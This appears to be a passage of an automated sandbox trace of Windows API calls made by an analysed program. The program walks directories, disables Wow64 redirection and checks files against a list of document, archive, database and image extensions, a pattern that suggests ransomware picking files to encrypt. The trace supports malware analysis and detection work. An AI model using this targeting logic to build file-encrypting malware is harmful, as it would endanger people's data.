lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750e50 [0192.099] FindNextFileW (in: hFindFile=0x750e50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.099] FindNextFileW (in: hFindFile=0x750e50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.099] FindNextFileW (in: hFindFile=0x750e50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.099] FindNextFileW (in: hFindFile=0x750e50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.099] FindClose (in: hFindFile=0x750e50 | out: hFindFile=0x750e50) returned 1 [0192.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0192.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0192.105] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0193.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0193.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0193.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb0078 | out: hHeap=0x660000) returned 1 [0193.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.937] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.937] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.938] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.938] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.938] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.940] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.941] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0193.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0193.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0195.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0195.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.900] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0195.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 Thread: id = 97 os_tid = 0xff8 [0190.960] GetTickCount () returned 0x1141b88 [0190.960] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x6c2d60 [0190.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c2d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0190.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c2d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0190.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c2d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0190.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c2d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0190.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c20f8 [0190.966] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c20f8, Size=0x20) returned 0x69d878 [0190.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2230 [0190.966] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2230, Size=0x20) returned 0x69d968 [0190.966] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.967] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.967] Wow64DisableWow64FsRedirection (in: OldValue=0x2e7ff7c | out: OldValue=0x2e7ff7c*=0x0) returned 1 [0190.967] lstrlenW (lpString="kernel32.dll") returned 12 [0190.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d878 | out: hHeap=0x660000) returned 1 [0190.967] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d968 | out: hHeap=0x660000) returned 1 [0190.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6c5d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0190.967] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0191.331] GetTickCount () returned 0x1141cff [0191.331] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0191.814] GetTickCount () returned 0x1141ed4 [0191.814] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0191.994] GetTickCount () returned 0x1141f8f [0191.994] GetTickCount () returned 0x1141f8f [0191.994] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0192.686] GetTickCount () returned 0x114223f [0192.686] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0192.949] GetTickCount () returned 0x1142348 [0192.949] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0193.193] GetTickCount () returned 0x1142442 [0193.193] GetTickCount () returned 0x1142442 [0193.193] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0194.018] GetTickCount () returned 0x114277e [0194.018] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0194.628] GetTickCount () returned 0x11429d0 [0194.628] GetTickCount () returned 0x11429e0 [0194.640] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0195.011] GetTickCount () returned 0x1142b57 [0195.011] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0195.704] GetTickCount () returned 0x1142e16 [0195.704] GetTickCount () returned 0x1142e16 [0195.704] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0196.045] GetTickCount () returned 0x1142f5e [0196.045] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) Thread: id = 99 os_tid = 0x294 [0191.129] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3211908 [0191.130] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3221910 [0191.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c20b0 [0191.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbf00 [0191.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c20f8 [0191.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3a0a020 [0191.134] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2248 [0191.134] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2248, Size=0x20) returned 0x69d968 [0191.134] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2290 [0191.135] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2290, Size=0x20) returned 0x69dcd8 [0191.135] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0191.135] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0191.135] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff50 | out: OldValue=0x34fff50*=0x0) returned 1 [0191.135] lstrlenW (lpString="kernel32.dll") returned 12 [0191.135] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d968 | out: hHeap=0x660000) returned 1 [0191.135] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.135] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0191.135] Sleep (dwMilliseconds=0x64) [0191.440] lstrcmpiW (lpString1=".MARKER", lpString2=".NEWS") returned -1 [0191.440] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0191.441] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0191.445] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=0) returned 1 [0191.445] CloseHandle (hObject=0x310) returned 1 [0191.445] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.445] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.445] lstrlenW (lpString=".doc") returned 4 [0191.445] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0191.445] lstrlenW (lpString=".docx") returned 5 [0191.445] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0191.445] lstrlenW (lpString=".pdf") returned 4 [0191.445] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0191.445] lstrlenW (lpString=".xls") returned 4 [0191.445] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0191.445] lstrlenW (lpString=".xlsx") returned 5 [0191.445] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0191.445] lstrlenW (lpString=".ppt") returned 4 [0191.445] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0191.445] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.446] lstrlenW (lpString=".zip") returned 4 [0191.446] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0191.446] lstrlenW (lpString=".rar") returned 4 [0191.446] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0191.446] lstrlenW (lpString=".bz2") returned 4 [0191.446] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0191.446] lstrlenW (lpString=".7z") returned 3 [0191.446] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0191.446] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.446] lstrlenW (lpString=".dbf") returned 4 [0191.446] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0191.446] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.446] lstrlenW (lpString=".1cd") returned 4 [0191.446] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0191.446] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.446] lstrlenW (lpString=".jpg") returned 4 [0191.446] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0191.446] lstrlenW 